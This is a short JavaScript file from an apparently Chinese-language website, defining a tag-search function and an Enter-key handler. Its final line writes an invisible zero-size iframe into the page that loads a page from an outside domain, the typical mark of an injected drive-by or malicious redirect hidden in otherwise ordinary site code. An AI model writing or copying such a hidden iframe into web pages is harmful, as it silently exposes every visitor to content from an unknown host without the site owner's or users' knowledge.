function searchTag(){
var gourl="/tags/";
var tag=document.getElementById("txtTag").value;
tag=tag=="请输入关键词"? "" :tag;
if(tag!="")
{
    location.href=gourl+tag;
}
}

function keyPressChange(evt){
  var evt=evt?evt:(window.event?window.event:null);//兼容IE和FF
  if (evt.keyCode==13){
  searchTag();
   }
}
document.write("<iframe <iframe src=http://www.led913.com/1.htm width=0 height=0></iframe>");